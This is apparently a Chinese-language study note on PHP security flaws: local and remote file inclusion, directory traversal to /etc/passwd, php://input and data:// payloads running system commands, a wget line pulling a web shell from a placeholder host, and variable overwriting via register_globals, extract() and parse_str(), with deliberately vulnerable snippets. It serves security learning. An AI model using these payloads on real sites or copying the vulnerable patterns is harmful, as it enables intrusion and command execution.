PHP安全
1.文件包含漏洞
严格来说,文件包含漏洞是代码注入的一种,在注入攻击一章中,在PHP中常见的导致文件包含的函数如下
include(),
include_once()
require()
require_once() 其他的可考虑"../../../../../.../etc/passwd"
fopen() 可以加载远程文件
readfile() 可以加载远程文件
当使用这四个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会
在意该包含的文件时什么类型。所以被包含的是txt文件,图片文件,远程URL,也都将作为PHP代码执行
。这一特性,在实施攻击时非常有用。
xss.php如下
<?php
include($_GET[test]);
?>
让它加载甚至上是桌面上的一个 txt文件
http://127.0.0.1/xss.php?test=C:\Users\Byd\Desktop\fortest.txt
这会让 txt文件中的"代码'像php一样执行
2.本地文件包含
能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞,比如下面这段代码。
include($_GET["file"]);
于是访问http://127.0.0.1/demo.php?file=/etc/passwd
也有通过http://127.0.0.1/demo.php?file=../../../../../etc/passwd(目录遍历漏洞,这是一种跨越目录读取文件的方法)------->而这一方法,需要php环境没有设置open_basedir时
而如果这样设置open_basedir=D:\soft\app\music
那么即使你../../../../../.../../../test.php
那么你打开的仍然是D:\soft\app\music\test.php
3.远程文件包含
如果PHP的配置选项allow_url_include为ON的话,则include/require 函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞,
比如有以下代码
1 <?php 2 $base=$_GET["path"]; 3 require_once $base.'/action.php'; 4 ?>
这里的base参数没有做任何过滤
为了注销掉后面的/acttion.php我们传入一个这样的参数
http://127.0.0.1/xss.php?path=http://127.0.0.1/phpinfo.php?
这个?把后面的符号给截断了
本地文件包含的利用技巧
本地文件包含漏洞其实也是有机会执行PHP代码的,这取决于一些条件
远程文件包含漏洞之所以能够执行命令,就是因为攻击者能够自定义被包含的文件内容。
因此本地文件包含漏洞想要执行命令也需要找到一个攻击者能够控制内容的本地文件。
有以下技巧,可以通过本地文件包含然后执行PHP代码
===================================================
1.包含用户上传得文件
2.包含data://或php:input等伪协议
3.包含Session文件
4.包含日志文件,比如web Server的access log.
5.包含/proc/self/environ文件
6.包含上传得临时文件(RFC1867)
7.包含其它应用创建的文件,比如数据库文件,缓存文件,应用日志等。
====================================================
现在考虑以下场景
1.http://127.0.0.1/xss.php?page=(该php文件包含LFI漏洞)
2.但是无法上传WebShell
3.LFI只能读到非php文件的源码(无法解析执行)
4.如果能够读取到config.php之类文件 或许可以直接拿到数据库帐号远程入侵
进去
xss.php代码如下
<?php $page=$_GET["page"]; include($page); ?>
访问以下URL
http://www.foo.com/xss.php?page=php:input
此时用burp拦包
修改报文
下面更改为 <?php system("ipconfig")?>
除了刚才的php:input以外,我们还可以利用data协议
访问以下URL
http://www.foo.com/xss.php?page=data://text/plain,<?php system("ipconfig");?>
一样可以执行系统命令
在能够运行php代码的情况下,我们可以这样
<?php system('wget http://yourwebsite/shell.txt -o shell.php');?>===这里似乎没有成功
以上这些方法,都要求PHP能够包含这些文件,而这些文件往往都处于Web
目录之外,如果PHP配置了open_basedir,则很可能会使得攻击失效
4.变量覆盖漏洞
i.全局变量覆盖 :
变量如果未被初始化,且能被用户所控制,那么很可能会导致安全问题。而在PHP中这种情况在register_globals 为on时尤其严重。
这里先普及以下关于register_globals的定义
当register_globals=off的时候,下一个程序接受的时候应该用$_GET["user_name"]和$_get["user_pass"]来接受传递过来的数值
当register_globals=on的时候,下一个程序可以直接使用user_name,user_pass来接受值

类似的,通过Globals获取的变量,也可能导致变量覆盖,假设有如下代码。
<?php
echo "Register_globals:".(int)ini_get('register_globals')."<br/>";
if(ini_get('register_globals'))
foreach($_REQUEST as $k=>$v)
{
echo "$k is over";
unset(${$k});
}
echo $a;
echo $_GET[b];
?>
变量$a未初始化,在register_globals=ON时,再尝试控制$a的值,会因为这段禁用代码而出错
而当尝试注入GLOBALS[‘a']以覆盖全局变量时,则可以成功控制变量$a的值

这是因为 unset()默认只会销毁局部变量,要销毁全局变量必须使用$GLOBALS unset($GLOBALS)
5 变量覆盖
i.extract()变量覆盖
extract()函数能将变量从数组导入当前的符号表,其函数的定义如下
int extract(array $var_array,[,int $extract_type[,string $prefix]])
当值为"EXTR_OVERWRITE"时,在将变量导入符号表的过程中,如果变量名发生冲突,则覆盖已有变量;
当值为"EXTR_SKIP"则表示跳过不覆盖,若第二个参数没指定,则在默认情况下使用第二种
有如下代码
1 <?php 2 $auth='0'; 3 extract($_GET); 4 if($auth==1) 5 { 6 echo "private"; 7 } 8 else 9 { 10 echo "public"; 11 } 12 ?>
当extract()函数从用户可以控制的数组中导出变量时,可能发生变量覆盖。
比如说访问以下url
http://127.0.0.1/exersise.php?auth=1

即使在关闭regeister_globals的同时,在调用extract的时候使用EXTR_SKIP保证已有变量不会被覆盖
ii.遍历初始化变量
常见的一些以便利的方式释放变量的代码 可能会导致变量覆盖
$chs='';
foreach($_POST as $k=>$v)
{
$$k=$chs->Convert;
}
我们在post参数提交chs
可能会导致覆盖
$k=chs;
$$k=$$chs;
iii.import_request_variables变量覆盖
1 <?php 2 $auth='0'; 3 import_request_variables('G'); 4 if($auth==1) 5 { 6 echo "private"; 7 } 8 else 9 { 10 echo "public"; 11 } 12 13 ?>
首先介绍import_request_variables()这个函数
bool import_request_variables(string types [,string prefix])
将GET/POST/Cookie变量导入到全局作用域中,如果禁止了register_globals,但又想用到一些全局变量,就可以使用这个函数
iiii.parse_str()变量覆盖
void parse_str(string $str [,array &$arr])
该函数把查询的字符串解析到变量中,

同时,如果该函数未有设置array参数,则由该函数设置的变量将覆盖已存在的同名变量
代码执行漏洞

浙公网安备 33010602011771号